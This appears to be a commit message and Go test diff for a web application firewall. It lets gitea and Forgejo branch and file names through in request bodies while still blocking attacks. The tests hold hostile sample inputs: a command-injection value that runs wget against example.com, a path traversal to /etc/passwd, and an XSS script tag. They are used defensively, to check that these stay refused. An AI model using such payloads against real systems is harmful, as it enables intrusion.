Core Rule Set: gitea and Forgejo file and branch names in bodies pass (closes #346)

While SWW_WAF_BODY_LIMIT is set, these body fields skip only the rules
that refused them, on their own paths:

- the web editor's tree_path, commit_summary and content;
- every field that names a branch, for Windows commands and command
  names: new_branch_name, old_branch_name, old_ref_name, from, to, head,
  base, branch and new_branch;
- message of a file changed through the API, for system files and
  Windows commands.

None applies when the query has a parameter of the same name. The
requests were recorded from gitea 1.27.3 and Forgejo 17.0.1.

Model: opus-5-5

internal/coreruleset/coreruleset_test.go

@@ -1764,6 +1764,9 @@ const scriptTag = "<script>alert(1)</script>"
 // pathTraversal is a path traversal, not escaped.
 const pathTraversal = "../../etc/passwd"
 
+// shellCommand is commandInjection, not escaped.
+const shellCommand = "; wget http://example.com/x.sh"
+
 // readingBodies returns the Core Rule Set as sww runs it by
 // default, but reading bodies up to bodyLimit.
 func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
@@ -1969,6 +1972,126 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) {
 	wantBody(t, crs, post(multipart), attachment, matched(932180), attachment)
 }
 
+// nameInBody is a name gitea or Forgejo sends in field of a body to path.
+// contentType is formData or jsonBody.
+type nameInBody struct{ path, contentType, field, name string }
+
+// giteaNamesInBodies returns names gitea and Forgejo send in a body field that
+// skips the rules that refused them there. Each field that names a branch
+// comes with a name for each rule it skips: feat/docker-support for the command
+// names (932260), and fix-powershell-module for the Windows commands (932120).
+func giteaNamesInBodies() []nameInBody {
+	const (
+		repo = "/alice/tools"
+		api  = "/api/v1/repos/alice/tools"
+
+		// newBranchName names a new branch on several paths.
+		newBranchName = "new_branch_name"
+	)
+
+	// A file's path or text, or a commit's summary or message.
+	texts := []nameInBody{
+		{repo + "/_edit/main/compose.yml", formData, "tree_path", "docker-compose.yml"},
+		{repo + "/_new/main/", formData, "tree_path", "docs/python3-setup.md"},
+		{repo + "/_delete/main/.htaccess", formData, "commit_summary", "Remove .htaccess"},
+		{repo + "/_new/main/", formData, "content", "# Setup\r\n\r\nInstall the tools.\r\n"},
+		{
+			api + "/contents/scripts/powershell-build.ps1", jsonBody,
+			"message", "Add a PowerShell build script",
+		},
+		{api + "/contents/.htaccess", jsonBody, "message", "Remove .htaccess"},
+	}
+
+	branchFields := []struct{ path, contentType, field string }{
+		{repo + "/_edit/main/compose.yml", formData, newBranchName},
+		{repo + "/_new/main/", formData, newBranchName},
+		{repo + "/_delete/main/.htaccess", formData, newBranchName},
+		{repo + "/branches/_new/branch/main", formData, newBranchName},
+		{repo + "/branches/rename", formData, "from"},
+		{repo + "/branches/rename", formData, "to"},
+		// Forgejo's path for renaming a branch.
+		{repo + "/settings/rename_branch", formData, "from"},
+		{repo + "/settings/rename_branch", formData, "to"},
+		{api + "/branches", jsonBody, newBranchName},
+		{api + "/branches", jsonBody, "old_branch_name"},
+		{api + "/branches", jsonBody, "old_ref_name"},
+		{api + "/pulls", jsonBody, "head"},
+		{api + "/pulls", jsonBody, "base"},
+		{api + "/contents/docs/notes.md", jsonBody, "branch"},
+		{api + "/contents/docs/notes.md", jsonBody, "new_branch"},
+	}
+
+	branchNames := []string{"feat/docker-support", "fix-powershell-module"}
+
+	names := make([]nameInBody, 0, len(texts)+len(branchFields)*len(branchNames))
+	names = append(names, texts...)
+
+	for _, branch := range branchFields {
+		for _, name := range branchNames {
+			names = append(names,
+				nameInBody{branch.path, branch.contentType, branch.field, name})
+		}
+	}
+
+	return names
+}
+
+// TestGiteaNamesInBodiesStillRefuseAttacks checks the body fields in which
+// gitea and Forgejo name a file or a branch. Each lets through the name that
+// was refused there, and still refuses a shell command after a ";" and a path
+// traversal. The same name is still refused in another field on the same path,
+// and in the field itself when the query has a parameter of the field's name.
+func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
+	t.Parallel()
+
+	const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
+
+	crs := readingBodies(t)
+
+	for _, tc := range giteaNamesInBodies() {
+		r := request{http.MethodPost, tc.path, []string{tc.contentType}}
+
+		body := func(field, value string) string {
+			if tc.contentType == formData {
+				return field + "=" + url.QueryEscape(value)
+			}
+
+			quoted, err := json.Marshal(map[string]string{field: value})
+			if err != nil {
+				t.Fatal(err)
+			}
+
+			return string(quoted)
+		}
+
+		if got, _ := inspectBody(t, crs, r, body(tc.field, tc.name)); got.Score >= threshold {
+			t.Errorf("%s %s=%q refused: %+v", tc.path, tc.field, tc.name, got)
+		}
+
+		if got, _ := inspectBody(t, crs, r, body("other", tc.name)); got.Score < threshold {
+			t.Errorf("%s other=%q let through: %+v", tc.path, tc.name, got)
+		}
+
+		param := tc.field
+		if tc.contentType == jsonBody {
+			param = "json." + tc.field
+		}
+
+		queried := request{http.MethodPost, tc.path + "?" + param + "=x", r.headers}
+
+		got, _ := inspectBody(t, crs, queried, body(tc.field, tc.name))
+		if got.Score < threshold {
+			t.Errorf("%s %s=%q let through: %+v", queried.target, tc.field, tc.name, got)
+		}
+
+		for _, attack := range []string{shellCommand, pathTraversal} {
+			if got, _ := inspectBody(t, crs, r, body(tc.field, attack)); got.Score < threshold {
+				t.Errorf("%s %s=%q let through: %+v", tc.path, tc.field, attack, got)
+			}
+		}
+	}
+}
+
 func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) {
 	t.Parallel()